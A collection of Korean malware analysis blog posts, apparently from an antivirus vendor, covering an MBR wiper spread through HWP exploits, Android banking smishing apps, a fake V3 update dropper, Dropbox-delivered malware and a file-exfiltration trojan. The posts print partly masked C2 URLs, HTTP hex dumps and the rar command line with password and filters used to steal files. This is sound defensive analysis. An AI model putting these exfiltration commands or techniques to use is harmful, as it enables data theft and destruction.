- Internet Connection Service
- Media Center Service
- Network Storage Service
- Peer Networking Address
- PNRP Machine Name
- Power Policy
- Program Compatibility Service
- Remote Registry Configuration
- Smart Card Management Service
- Tablet PC Management Service
- Task Schedule Manager
- Thread Ordering Service
- WebClient Manage Service
- Windows Color Adjustment
- Windows Modules Management
- Windows Time Synchronization
- Wired Config Service
- WLAN Config Service
- Workstation management

 

[생성 파일명]

- bddsvc.dll
- iconsvc.dll
- ehressvc.dll
- netstsvc.dll
- pnas.dll
- pnrpmchname.dll
- pwpsvc.dll
- pcssvc.dll
- rregconf.dll
- scardmngsvc.dll
- tcpmsvc.dll
- tschmng.dll
- mmthread.dll
- wcmngsvc.dll
- coladj.dll
- wndmodmng.dll
- timesyncsvc.dll
- wiredconfsvc.dll
- wlanconf.dll
- wstmng.dll

 

[서비스 설명]

- BDESVC hosts the BitLocker Drive Decryption service.
- Provides network address translation, addressing, name resolution and/or intrusion prevention services for a home or small office network.
- Allows Media Center to locate and connect to the computer.
- This service delivers network notifications (e.
- Enables multi-party communication using Peer-to-Peer Connecting.
- This service publishes a machine name using the Peer Name Resolution Protocol.
- Manages power policy and power policy notification delivery.
- This service provides support for the Program Compatibility Assistant (PCA).
- Enables remote users to modify registry configurations on this computer.
- Manages access to smart cards read by this computer.
- Enables Tablet PC pen and ink functionality
- Enables a user to configure and schedule automated tasks on this computer.
- Provides ordered execution for a group of threads within a specific period of time.
- Enables Windows-based programs to create, access, and modify Internet-based files.
- The WcasPlugInService service hosts third-party Windows Color System color device model and gamut map model plug-in modules.
- Enables installation, modification, and removal of Windows updates and optional components.
- Maintains date and time synchronization on all clients and servers in the network.
- The Wired AutoConfig (DOT3SVC) service is responsible for performing IEEE 802.1X
- The WLANSVC service provides the logic required to configure, discover, connect to, and disconnect from a wireless local area network.
- Creates and maintains client network connections to remote server using the SMB protocol

 

2. MBR 파괴시간


MBR 파괴는 아래의 레지스트리 키값의 'number' 항목의 값 체크('0' 보다 큰 값인 경우 파괴동작)를 통해 이루어지며, 최초감염 시 '0' 값으로 설정된다. 아래의 [그림-1]은 악성코드가 등록한 레지스트리 키 'PcaSvcc' 항목의 내용을 나타낸다. MBR 파괴 동작 여부를 결정하는 number 항목의 값은 사용자 시스템의 시간정보를 통해 2014년 12월 10일 오전 11시 이후가 되면, '0'이 아닌 값으로 설정되며, MBR 파괴기능이 동작하도록 되어있다.

[그림-1] MBR 파괴 시, 참조하는 레지스트리 값

아래의 [그림-2]는 악성코드 내부에 MBR 파괴를 결정하는 시간정보를 비교하는 코드부분을 나타낸다. 악성코드 내부에 저장된 "0x780D0C33" 값과 GetLocalTime 함수 호출을 통해 얻은 시스템 시간과의 특정 연산을 통해 시간정보를 비교하는 작업이 이루어짐을 알 수 있다.

[그림-2] MBR 파괴시간 비교하는 코드

 

3. MBR 파괴기법

MBR 파괴는 0x200(512바이트) 크기에 대해 덮어쓰게되며, 아래의 [그림-3]과 같은 데이터로 채워짐을 알 수 있다. 감염 시, 'A'~'Z' 모든 드라이브에 대해 동일한 과정이 반복된다.

[그림-3] MBR 데이터

아래의 [그림-4]는 덮어쓴 MBR 코드의 내용으로, 부팅 시 "Who Am I?"라는 문자열을 출력하는 기능을 갖는다.

[그림-4] MBR 코드

아래의 [그림-5]는 MBR 감염 후, 재부팅 시 사용자에게 보여지는 화면을 나타낸다.

[그림-5] 부팅 화면

 

4. 파일 파괴기능

악성코드는 MBR 에 대한 파괴기능 외에 특정 확장자를 갖는 파일들에 대한 파괴기능도 함께 갖고있다. 현재까지 확인된 파괴대상 파일들은 다음과 같다.

- hwp
- doc
- pdf
- docx
- alz
- zip
- rar
- egg
- iso
- exe
- dll
- sys

'A'~'Z' 드라이브의 위 확장자를 갖는 파일들을 찾아 4096 바이트(4K) 크기로 변경 및 NULL 값으로 채우는 과정을 수행한다.

 

5. 한글 취약점 내용

접수된 9개의 취약점 한글문서는 문서의 내용은 다르나 모두 동일한 취약점을 사용하였다. 아래의 [그림-6]은 취약점을 발생시키는 부분 및 동작하는 쉘코드 중 일부를 나타낸다. 한글문서에서 문단의 레이아웃('HWPTAG_PARA_LINE_SEG')을 담당하는 부분을 처리하는 과정에서 취약점이 발생하며, 쉘코드(ShellCode) 삽입 및 힙스프레이(Heap Spray)를 위해 문단의 텍스트('HWPTAG_PARA_TEXT')가 이용되었다.

[그림-6] 한글 취약점 발생부분

 

6. 관련 파일들

현재까지 확인된 취약점 한글파일 및 생성하는 악성파일들에 대한 MD5 및 V3 진단내용은 다음과 같다.

- 54783422cfd7029a26a3f3f5e9087d8a (V3: HWP/Exploit, 2014.12.10.06)
- b5b6e93ab27cec75f07af2a3a6a40926 (V3: HWP/Exploit, 2014.12.10.02)
- 800866bbab514657969996210bcf727b (V3: HWP/Exploit, 2014.12.10.02)
- ead682b889218979b1f2f1527227af9b (V3: HWP/Exploit, 2014.12.10.02)
- f09ea2a841114121f32211faac553e1b (V3: HWP/Exploit, 2014.12.09.06)
- 9daf088fe4c9a9580216e98dbb7d1fca (V3: HWP/Exploit, 2014.12.09.06)
- 3ec69ee7135272e5bed3ea5378ade6ee (V3: HWP/Exploit, 2014.12.11.05)
- 33874577bf54d3c209925c9def880eb9 (V3: HWP/Exploit, 2014.12.11.05)
- af792a34548a2038f034ea9a6ff0639a (V3: HWP/Exploit, 2014.12.11.05)
- 3BA8A6815F828DFC518A0BDBD27BBA5B (V3: Trojan/Win32.Destroyer, 2014.12.10.00)

 

7. 대응방안

악성코드 감염을 막기위해서는 항상 한글 프로그램 및 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 필요하다. 또한, 취약점 한글문서파일은 모두 특정인에게 이메일의 첨부파일 형태로 유포된 것으로 확인되었다. 불명확한 발신인 혹은 확인되지 않은 첨부파일의 경우, 실행 전에 보안에 문제가 없는 지 확인하는 과정이 필요하다.

 

 

 

신고
Creative Commons License
Creative Commons License
Posted by yhayoung

최근 금융 관련 사고가 증가하면서 사람들의 관심이 집중되고 있다. 모바일도 예외는 아니다. 대부분의 스마트폰 사용자는 '스미싱'이 무엇인지 설명하지 않아도 알고 있을 정도이다. 그만큼 피해가 생활에 밀접하게 다가와 있음을 방증하는 것이다.

 

악성코드 제작자는 각종 사회적 이슈를 이용하여, 악성코드를 배포하는데, 이번에는 '아이폰6' 소유 욕구를 자극하고 있었다. 안드로이드 기반의 스마트폰 사용자를 '아이폰6'로 유혹한다? 물론 실제로 아이폰6를 주는 것은 아니지만, 안드로이드 사용자가 아이폰으로 바꾼다면, 악성코드 제작 그룹은 이제 '스미싱' 을 어떻게 하겠다는 것일까?

 

서론은 여기까지 하고, 본론으로 들어가겠다.

 

'아이폰6 이벤트' 메시지에 포함된 링크로 접근하면, 악성 앱(apk)이 업로드된 페이지로 연결된다. 해당 앱을 다운로드 하여 설치하면, 크롬으로 위장한 아이콘을 볼 수 있다.


[그림 1] '스미싱'을 통한 악성 앱 설치 과정

 

악성 앱을 설치하면 크롬으로 위장한 아이콘이 생성된다. 해당 앱을 실행하면, 아이콘은 사라지고, 휴대폰 관리자 활성화를 요구한다.

 

[그림 2] 악성 앱의 아이콘 및 휴대폰 관지자 활성화

 

악성 앱의 Classes.dex 에는 직접적으로 악의적인 코드를 넣지 않았다. 대신 p.dex 파일을 로드하여 악의적인 코드를 실행한다.

 


[그림 3] classes.dex 코드

 

p.dex 파일은 악성 앱(apk) 파일의 'assets' 에 존재한다.

 


[그림 4] 악성 앱 구조

 

p.dex의 주요 기능은 아래와 같다.

 

스마트폰에 설치된 뱅킹 앱 정보 수집 => 정상 뱅킹 앱 제거 유도 => 제거된 정상 앱을 사칭한 악성 뱅킹 앱 설치 유도

 

악성 앱은 "새로운 버전이 출시되었습니다." 메시지와 함께 기존에 설치된 정상 앱을 제거하도록 유도한다.

 


[그림 5] 정상 앱 제거 과정

 

아래 패키지명과 일치하는 앱이 설치되어 있는지 확인하고, 제거하도록 유도한다.

 

"com.wooribank.pib.smart",

"com.kbstar.kbbank",

"com.ibk.neobanking",

"com.sc.danb.scbankapp",

"com.shinhan.sbanking",

"com.hanabank.ebk.channel.android.hananbank",

"nh.smart",

"com.epost.psf.sdsi",

"com.kftc.kjbsmb",

"com.smg.spbs"

[표 1] target 뱅킹 앱 리스트

 

스마트폰에 설치된 정상 뱅킹 앱을 제거를 유도하고, 제거한 정상 앱으로 위장한 악성 앱을 아래의 패키지명으로 설치하도록 유도한다.

 

"com.cash.apc.woori.kr.android.apd",

"com.kr.androids.kbstar.kbbankings.app",

"com.ibk.korea.kr.androids.ibkbanking",

"com.goog.sc.android.dadbdkr.scbankapp",

"com.android.google.shinhanbbk.kr.app",

"com.hana.google.kr.channel.korea.app",

"com.we.google.nhb.kr.bk.app",

"com.android.post.fsps.kr.wu.sdsi",

"com.kr.android.ftkc.kjb.kjbsmb.app",

"com.androids.kr.kf.androids.sm.spb"

[표 2] target 뱅킹 앱을 사칭한 악성 앱 리스트

 

은행별 다운로드 되는 링크는 아래의 코드 조합으로 이루어진다.

 


[그림 6] target 뱅킹 앱 리스트 & 추가 악성 앱 다운로드 코드

 

은행별로 코드를 조합하면 아래와 같은 주소에서 악성 앱을 다운로드 하게 된다.

 

http://******.****.net:6545/com.cash.apc.woori.kr.android.apd.apk

http://******.****.net:6545/com.kr.androids.kbstar.kbbankings.app.apk

http://******.****.net:6545/com.ibk.korea.kr.androids.ibkbanking.apk

http://******.****.net:6545/com.goog.sc.android.dadbdkr.scbankapp.apk

http://******.****.net:6545/com.android.google.shinhanbbk.kr.app.apk

http://******.****.net:6545/com.hana.google.kr.channel.korea.app.apk

http://******.****.net:6545/com.we.google.nhb.kr.bk.app.apk

http://******.****.net:6545/com.android.post.fsps.kr.wu.sdsi.apk

http://******.****.net:6545/com.kr.android.ftkc.kjb.kjbsmb.app.apk

http://******.****.net:6545/com.androids.kr.kf.androids.sm.spb.apk

[표 3] 추가로 다운로드하는 악성 뱅킹 앱

 

실제로 정상 앱이 제거되고, 악성 앱이 설치되는 과정은 아래와 같다.

 


[그림 7] 정상 앱 제거 및 정상 앱으로 위장한 악성 앱 설치 과정

 

악성 앱이 설치되면, 스마트폰의 공인인증서 및 금융 정보를 탈취한다.

 


[그림 8] 악성 앱에 의한 금융 정보 탈취

 

이러한 악성 앱들은 분석가의 분석시간을 오래 걸리게 하려는 방법으로 사용하거나, 자신이 만든 서버의 생명주기를 연장하기 위한 수단으로 코드를 난독화 한다. 이 악성 앱에서는 탈취한 정보를 전송하는 서버주소를 파악하기 어렵게 난독화 하였다. 사용한 방법을 살펴보면 아래와 같다. 아래 코드는 3개의 클래스에 나뉘어 있는 코드들이다. 이 3개의 코드를 조합하고 계산해야만 접근하는 주소를 알 수 있다.


[그림 9] 서버 주소의 난독화

 

계산 방법은 간단하다.

 

우선, 1.class의 "012017006020095000 ~중략~ 010001016016027010088" 값을 3.class 의 xor 함수 계산과 2.class 의 값을 조합하면, 접근하는 페이지의 주소를 알 수 있다. 값을 계산하면 아래와 같은 주소를 알 수 있다.

 

http://*.*****.com/profile?hostuin=28*****449

[표 4] XOR + 코드 조합의 계산 결과

 

해당 주소로 접근하여 IP주소를 받아온다.


[그림 10] QQ블로그의 IP주소

 

XXX!.XXX!XXX!XXX! 와 같은 형식의 IP주소를 받아오면, 치환 코드를 이용해 문자열을 변환하고, XOR 계산을 통해 얻은 값과 조합하여 또 다른 주소를 반환한다.

 


[그림 11] IP주소의 치환 및 XOR 과정

 

주소를 계산하는 과정을 정리하면, 문자열 => XOR 계산 + 코드 조합 => QQ블로그 접속 => IP주소 획득(가변) => IP주소 치환 + 문자열 XOR + 코드 조합 => 서버주소 완성 => 탈취한 금융 정보 전송!

 

이러한 과정을 거쳐 최종적으로 아래의 서버주소로 탈취한 정보를 전송한다.

 

126.**.***.**7/****/****/cers.php

[표 5] 악성 앱에 의해 탈취된 정보를 수집하는 서버주소

 

하지만 위에서 살펴본 것처럼 서버주소는 제작자에 의하여 수시로 변경이 가능하도록 설계되었다. 이 분석정보를 작성하는 중간에도 주소가 변경된 것으로 보아, 제작자는 활발히 활동하는 것으로 추정된다.

 

QQ 블로그를 이용한 악성코드는 Windows 기반의 banki 류 에서 hosts 파일을 변조할 때 자주 이용되는 방식이었다. Windows에서 사용하는 악성코드의 배포 방법과 정보 수집 방식들을 모바일에서 적용하는 사례가 증가하고 있다.

 

V3 제품에서는 아래와 같이 진단이 가능하다

 

<V3 제품군의 진단명>

 

 

 

 

 

저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by DH, L@@

"V3 Lite를 최신 버전으로 업그레이드 하세요!"

 

최근 아래와 같이 'AhnLab'을 사칭한 메일이 전송되었다.

 

[그림 1] AhnLab을 사칭한 이메일

 

V3 Lite 업그레이드 권고를 알리는 메일 내용과 더불어 관련 파일이 첨부됐으며, 해당 파일은

Windows 폴더 아이콘으로 위장한 'EXE' 실행 파일이었다.

 

[그림 2] 폴더로 가장한 EXE 실행 파일

 

"알려진 파일 형식의 파일 확장명 숨기기" 기능이 활성화된 Windows 사용자라면 아무런 의심 없이 해당 악성 코드를 실행할 것이며, 필자 또한 폴더 아이콘에 무작정 마우스가 움직였다.

 

악성 코드가 실행되면 'C:\Documents and Settings\[사용자계정]\Local Settings\Application Data'경로에 'local.exe' 파일을 생성하며, 해당 악성 코드가 위치한 경로 내 파일명(V3Lite설치방법 및 제품번호 Ver3.1976.331.25)과 같은 폴더를 생성한다.

 

악성 코드가 생성한 폴더는 자동으로 FullScreen 상태로 열리며, 사용자가 악성 코드를 실행했다는 걸 눈치 못 채게 하는 치밀함을 보인다. 생성된 폴더 내에는 V3 Lite UI 캡처 이미지 파일과 Serial Number가 기재된 텍스트 파일이 존재한다.

 

[그림 3] 악성 코드 실행 시 생성되는 폴더 내 파일들

 

악성 코드는 추가로 생성한 '_selfmove.bat'의 batch 명령어를 통해 'C:\Documents and Settings\[사용자계정]\Local Settings\Application Data' 경로 내에 'testmove.pdf'로 복제된 뒤, 자가 삭제된다.

 

이후 해당 악성코드는 추가적인 행위를 보이진 않지만, 추가 생성됐던 'local.exe' 악성 코드를 통해 특정 URL과 통신할 것으로 추정할 수 있다.

 

[그림 4] 'local.exe'가 통신할 것으로 추정되는 특정 URL

 

'local.exe' 악성코드가 통신할 C&C로 추정되는 서버는 현재 존재하지 않기 때문에, 정확한 악성 행위는 파악할 수 없으나, 해당 주소로부터 추가적인 악성 코드를 다운로드 할 것으로 예상한다.

 

'local.exe'가 연결을 시도하는 특정 URL은 아래와 같다.

 

hxxp://d.ahn*****.com/***/update2014.php

hxxp://d.ahn*****.com/***/download2014.htm

hxxp://d.ahn*****.com/***/DownLoadSuccess.php

hxxp://d.ahn*****.com/***/DownLoadFail.php

hxxp://d.ahn*****.com/***/ExeFail.php

[표 1] 'local.exe'가 연결을 시도하는 URL

 

첨부된 파일의 궁금증을 유발시키는 메일 문구를 통해 무심코 사용자가 첨부 파일을 다운 및 실행 유도하는 악성 코드 유포방식은 지난 10월부터 시스템 정보를 탈취하는 악성 코드로 이슈화된 'my new photo :)' 스팸 메일의 경우와 유사하다.

 

[그림 5] 악성 코드를 첨부 한 'my new photo' 스팸 메일

 

출처가 불분명한 메일의 첨부파일은 각별한 주의가 요구된다.

 

V3 제품에서는 아래와 같이 진단하고 있다.

 

<V3 제품군의 진단명>

 

Dropper/Win32.Agent (2014.11.21.04)

Trojan/Win32.Agent (2014.11.22.01)

저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by DH, L@@

 "어디서나 내 자료와 함께하세요." 라는 문구처럼, 드롭박스를 이용하면 클라우드에 저장해놓은 자료를 언제 어디서나 열어보고, 편집하여 저장할 수 있다. 파일의 동기화와 기기 간의 공유가 쉬워 드롭박스의 이용자는 꾸준히 증가하고 있다. 올해 드롭박스 사용자가 3억 명을 넘었으며, 드롭박스 앱은 미국의 직장인들이 가장 애용하는 앱 2위에 꼽히기도 했다. 한국에서도 많이 사용되고 있는 클라우드 서비스 중 하나다.

 

[그림 1] 드롭박스 홈페이지 메인

 

 사용자는 드롭박스에 파일을 올려놓고, 드롭박스 링크를 통해 다른 사용자에게 올려놓은 파일을 공유할 수도 있다. 블로그에 게임, 유틸리티를 다운로드 할 수 있는 드롭박스 링크가 공개됐다. 하지만 사용자가 다운로드 한 파일은 정상파일을 위장한 악성코드이다. 공유가 쉽다는 클라우드 서비스의 장점을 이용하여 다수의 사용자에게 악성코드를 유포한 셈이다.

 

[그림 2] 블로그에서 공유된 드롭박스 링크

 

 작성자는 블로그에 게임과 유틸리티를 자세히 소개하고, 해당 파일을 다운로드 할 수 있는 드롭박스 링크를 공유했다. 각각의 포스팅은 10월 17일, 11월 8일 작성되었으며, 분석 당시(11월 26일)까지도 악성코드가 유포 중이다.

 


[그림 3] 드롭박스 파일 다운로드

 

 블로그에서 스카이프 유틸이라 소개한 파일은 악성코드이다. 유명 게임이나 유틸리티로 사용자들의 관심을 끌고, 드롭박스를 이용하여 다수에게 악성코드를 유포하였다.

 


[그림 4] 스카이프 유틸.exe


 드롭박스 링크를 통해 다운로드 된 '스카이프 유틸.exe'를 압축 해제하면 '스카이프 유틸.exe'와 'Server.exe' 2개의 파일임을 알 수 있다.

 

 악성코드는 파일 생성, 레지스트리 수정, 네트워크 연결 등 악성 행위를 한다.

 

[파일 생성 정보]

 

Server.exe

CREATE

C:\Windows\system32\swwawo.exe

[표 1] 파일 생성 정보

 

'Server.exe'는 자기 자신과 같은 파일을 system32 경로에 생성하였다. 악성코드는 system32 경로에 존재하는 경우가 많다. 이는 system32 경로에는 다수의 파일이 있어 악성코드를 인지하기 어렵고 대부분 사용자가 정상파일 경로라고 인지하기 때문이다.

 

[레지스트리 등록]

 

HKLM\SYSTEM\ControlSet001\Services\Nationaliwn

"ImagePath" = "C:\WINDOWS\system32\swwawo.exe"

"DisplayName" = "Nationalaqt Instruments Domain Service"

"Description" = "Provideseis a domain server for NI security."

"ObjectName" = "LocalSystem"

[표 2] 레지스트리 등록

 생성된 악성파일이 시스템 재시작 시에도 반복 실행할 수 있도록 레지스트리 값을 수정하여 Nationaliwn 라는 이름의 서비스를 등록한다.


[그림 5] 등록된 서비스 속성

 

악성코드는 아래 IP와 네트워크 연결을 한다.

 

[네트워크 연결]

 

1**.**3.**3.* (8080)

 

[표 3] 네트워크 연결

 

 

 

 악성코드 유포자는 드롭박스로 쉽게 파일을 공유할 수 있다는 점을 악용하여 악성코드를 유포했다. 클라우드 서비스의 사용자가 늘어나고, 이를 통한 파일 공유는 더욱더 활성화될 것이다. 따라서 드롭박스 링크로 유포되는 악성코드의 사례 또한 증가할 것으로 예상된다. 사용자는 클라우드 서비스를 이용하여 파일 다운로드 시, 공유된 파일이 악성코드 일 수 있다는 경각심을 가지고 주의해야 한다.



저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by DH, L@@

2014년 11월 11일 발견된 "Isass.exe" 라는 이름의 악성코드는 감염 시, "rar.exe" 라는 정상 압축 프로그램을 이용하여 시스템의 중요한 파일들을 찾아 압축 후, 공격자에게 전송하는 기능을 수행한다. 국내에 감염이 최초 확인된 것은 2013년 8월로 당시에는 취약한 문서파일 통해 최초 감염이 이루어졌다. 하지만, 최근 발견된 샘플은 아직 정확한 감염경로를 확인하지 못한 상태이다. 악성코드의 동작과정을 살펴보면 특정 사이트로 부터 [1] "rar.exe" 파일에 대한 다운로드가 이루어지며, [2] "ebgEC50.bat" 파일생성을 통한 중요파일들 압축을 수행하고, [3] 최종 압축한 파일("NETUSER.001")을 공격자에게 전송의 과정으로 이루어진다.

 

 

 [1] "rar.exe" 파일 다운로드

 

악성코드는 아래의 %TEMP% 폴더에 "rar.exe" 라는 파일의 존재여부를 체크한다. 만약, 해당 파일이 존재하지 않을 경우, 특정 사이트로 접속하여 "rar.exe" 를 다운로드 시도하며 이미 존재할 경우, 다운로드 과정을 생략한다.

 

- "C:\Documents and Settings\UserProfile\Local Settings\Temp\rar.exe"

 

"rar.exe" 파일을 다운로드 받는 곳의 주소는 아래와 같고, 전송(send) 하는 데이터의 내용은 다음과 같다.

 

- k??32.k??.org/file/lecture/list.php (다운로드 주소)

 

 0081CF70  50 4F 53 54 20 2F 66 69 6C 65 2F 6C 65 63 74 75  POST /file/lectu
 0081CF80  72 65 2F 6C 69 73 74 2E 70 68 70 20 48 54 54 50  re/list.php HTTP
 0081CF90  2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 6B ?? ?? 33  /1.1..Host: k??3
 0081CFA0  32 2E 6B ?? ?? 2E 6F 72 67 3A 38 30 0D 0A 43 6F  2.k??.org:80..Co
 0081CFB0  6E 74 65 6E 74 2D 74 79 70 65 3A 20 61 70 70 6C  ntent-type: appl
 0081CFC0  69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F  ication/x-www-fo
 0081CFD0  72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43  rm-urlencoded..C
 0081CFE0  6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 31  ontent-Length: 1
 0081CFF0  31 0D 0A 0D 0A 66 66 3D 33 39 38 37 32 39 33 38  1....ff=39872938
 0081D000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 

 

서버로 부터 정상적으로 응답 데이터를 받을 경우, 아래와 같은 형태를 갖는다. 데이터 내용 중, 'MZ'로 시작하는 부분이 "rar.exe"의 시작을 나타낸다. 분석 당시 "rar.exe" (md5:070d15cd95c14784606ecaa88657551e) 파일의 버전은 5.1.0 로 확인되었다.

 

 0081D7C0  48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D  HTTP/1.1 200 OK.
 0081D7D0  0A 44 61 74 65 3A 20 57 65 64 2C 20 31 39 20 4E  .Date: Wed, 19 N
 0081D7E0  6F 76 20 32 30 31 34 20 31 30 3A 32 36 3A 32 37  ov 2014 10:26:27
 0081D7F0  20 47 4D 54 0D 0A 53 65 72 76 65 72 3A 20 41 70   GMT..Server: Ap
 0081D800  61 63 68 65 0D 0A 58 2D 50 6F 77 65 72 65 64 2D  ache..X-Powered-
 0081D810  42 79 3A 20 50 48 50 2F 34 2E 34 2E 39 0D 0A 43  By: PHP/4.4.9..C
 0081D820  6F 6E 74 65 6E 74 2D 44 69 73 70 6F 73 69 74 69  ontent-Dispositi
 0081D830  6F 6E 3A 20 61 74 74 61 63 68 6D 65 6E 74 3B 20  on: attachment;
 0081D840  66 69 6C 65 6E 61 6D 65 3D 22 62 62 73 5F 77 72  filename="bbs_wr
 0081D850  69 74 65 2E 70 68 70 22 0D 0A 4C 61 73 74 2D 4D  ite.php"..Last-M
 0081D860  6F 64 69 66 69 65 64 3A 20 54 68 75 2C 20 31 36  odified: Thu, 16
 0081D870  20 4F 63 74 20 32 30 31 34 20 31 30 3A 35 37 3A   Oct 2014 10:57:
 0081D880  34 39 20 47 4D 54 0D 0A 41 63 63 65 70 74 2D 52  49 GMT..Accept-R
 0081D890  61 6E 67 65 73 3A 20 62 79 74 65 73 0D 0A 43 61  anges: bytes..Ca
 0081D8A0  63 68 65 2D 63 6F 6E 74 72 6F 6C 3A 20 70 72 69  che-control: pri
 0081D8B0  76 61 74 65 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E  vate..Connection
 0081D8C0  3A 20 43 6C 6F 73 65 0D 0A 43 6F 6E 74 65 6E 74  : Close..Content
 0081D8D0  2D 4C 65 6E 67 74 68 3A 20 34 39 30 30 37 32 0D  -Length: 490072.
 0081D8E0  0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61  .Content-Type: a
 0081D8F0  70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74  pplication/octet
 0081D900  2D 73 74 72 65 61 6D 0D 0A 0D 0A 4D 5A 90 00 03  -stream....MZ?
 0081D910  00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00  ........?...
 0081D920  00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00  ...@............
 0081D930  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
 0081D940  00 00 00 00 00 00 00 E0 00 00 00 0E 1F BA 0E 00  .......?..?. 
 0081D950  B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72  ???L?This pr   
 0081D960  6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20  ogram cannot be
 0081D970  72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65 2E  run in DOS mode.

 

다운로드 실패 시, 10분간의 Sleep() 후, 재시도를 한다. 다운로드가 성공적으로 이루어진 경우, %TEMP% 폴더에 "rar.exe" 파일을 Write 한다. 다운로드가 성공적으로 이루어졌는지에 대한 검증은 서버로 부터 받은 데이터를 통해 이루어지며, 아래의 3가지 과정을 거친다.

 

(1) "HTTP/1.1 200 OK" 문자열 존재해야 함.

 

(2) "error" 문자열이 없어야 함.

 

(3) CR,LF,CR,LF (0x0D, 0x0A, 0x0D, 0x0A) 다음("MZ")부터 버퍼 끝까지의 크기와 "Content-Length: "에 명시된 값("490072")과의 비교를 수행. (만약, 명시된 값과 동일하지 않을 경우, "rar.exe" 삭제 후, 다운로드 과정을 재 시도)

 

 

[2] "ebgEC50.bat" 파일생성

 

"rar.exe" 파일을 다운로드 한 후, 악성코드는 %TEMP% 폴더에 "ebgEC50.bat" 파일을 생성 및 실행하는 기능을 수행한다. BAT 파일의 내용에 해당하는 데이터는 악성코드 내부에 존재하며, 암호화된 형태로 저장되어 있다. BAT 파일의 내용 뿐 아니라 악성코드 내부에는 중요한 문자열 정보가 암호화된 형태로 존재하며, 아래와 같은 과정을 통해 만들어지는 특징을 갖는다.

 

다음은 악성코드 내부에서 "r.a.r...e.x.e" 문자열 정보를 만들어 내는 과정을 나타낸다. 0xB5 값을 초기값으로 하여, 특정 값과 ADD/SUB 연산을 통해 그 다음 암호화된 값을 생성한다.

 

 

위의 코드를 통해 최초 생성된 암호화된 데이터는 다음과 같다.

(0xB5 0x00 0xA6 0x00 0xB5 0x00 0xE9 0x00 0xA2 0x00 0xBF 0x00 0xA2 0x00 0x00 0x00)

 

이렇게 생성된 값은 아래의 XOR 과정을 통해 최종 복호화가 이루어진다. (키값은 0xC7, 크기는 0x07)

 

 

위의 코드를 통해 최종 생성된 복호화된 데이터는 다음과 같다. ("r.a.r...e.x.e")

(0x72 0x00 0x61 0x00 0x72 0x00 0x2E 0x00 0x65 0x00 0x78 0x00 0x65 0x00 0x00 0x00)

 

악성코드 내부에 이러한 방식으로 암호화되어 저장된 문자열 정보는 총 19개이며, 복호화 방식은 1바이트 XOR (18개)와 1바이트 ADD/SUB 형태(1개)가 존재한다.

 

아래의 [표-1]~[표-19]는 복호화 과정 후, 생성된 문자열 정보를 나타낸다.

 

 

 

"ebgEC50.bat" 파일의 내용은 [표-10]에 의해 만들어지며, 감염 시스템의 주요 문서와 특정 확장자 파일들에 대한 유출기능을 갖는다.

 

"ebgEC50.bat" 파일은 구동 시, %TEMP%\rar.exe 파일을 실행하며, "rar.exe" 파일에서 제공하는 다양한 인자값들을 사용하였다.  아래는 다양한 인자값들 중 악성코드에서 사용한 인자값들을 나타낸다.

 

 

"%TEMP%\rar.exe" a "%temp%\NETUSER.001" 를 통해, 최종 압축된 파일은 "NETUSER.001" 임을 알 수 있다. 또한, "%USERPROFILE%" 경로와 'a', 'b', 'c' 드라이브를 제외한 모든 드라이브의 파일들이 검색 대상임을 알 수 있다. (d:\ e:\ f:\ g:\ h:\ i:\ j:\ k:\ l:\ m:\ n:\ o:\ p:\ q:\ r:\ s:\ t:\ u:\ v:\ w:\ x:\ y:\ z:\)

 

-hp1qaz@WSX3edc$RFV -r -v2g -vn -m5 -y -ep3 -ta2005 -sl2048576 를 통해 최종 압축된 파일에 대한 암호가 '1qaz@WSX3edc$RFV' 로 설정되며, 2005년 이후 생성된 파일 및 2048576(2M) 보다 작은 크기의 파일들이 유출대상임을 알 수 있다.

 

또한, 파일명에 대한 필터조건으로 특정 이름을 갖는 파일들을 선별하여 유출하도록 하였으며, 파일이름에 상관없이 특정 확장자를 갖는 파일들에 대해서도 유출이 이루어진다.

 

(1) 확장자 필터조건

*.lnk, *.hwp, *.doc, *.docx, *.xls, *.xlsx, *.amr, *.zip, *.eml, *.alz, *.rar, *.egg

 

(2) 파일이름 필터조건

*암호*, *비번*, *비밀*, *보안*, *정보*, *소식*, *자료*, *분석*, *관리*, *수집*, *녹취*, *대화*, *녹음*, *정세*, *계획*, *보고*, *출장*, *이력*, *프로포절*, *협조자*, *취재원*, *북핵*, *전략*, *전술*, *미사일*, *로케트*, *북핵*, *주소*, *명단*, *리스트*, *중국*, *심양*, *단동*, *연길*, *대련*, *베이징*, *북한*, *평양*, *회령*, *신의주*, *무산*, *청진*, *원산*, *개성*, *남포*, *만포*, *국경*, *내곡동*, *여의도*, *경비대*, *총정치국*, *보위*, *군단*, *사단*, *련대*, *대대*, *중대*, *소대*, *려단*, *하나원*, *기무*, *정보사*, *국정원*, *기구*, *국방*, *사령부*, *외교*, *통일*, *인권*, *동지*, *성통만사*, *탈북*, *이탈*, *겨레얼*, *전략*, *난민*, *서평*, *뉴포커스*, *새터민*, *mopas*, *엔케이*, *홈페*

 

아래의 그림은 "ebgEC50.bat" 수행 후, 생성된 "NETUSER.001" 파일을 압축해제 시, 폴더구조를 나타낸다. 각 드라이브 별로 파일들이 저장되어 있음을 알 수 있다.

 

 

 

 

[3] 압축파일(NETUSER.001) 전송

 

 공격자에게 전송되는 파일은 아래의 경로의 RAR 압축파일이다.

- C:\Documents and Settings\UserProfile\Local Settings\Temp\NETUSER.001

 

아래는 공격자에게 전송되는 데이터의 내용을 나타낸다.

 

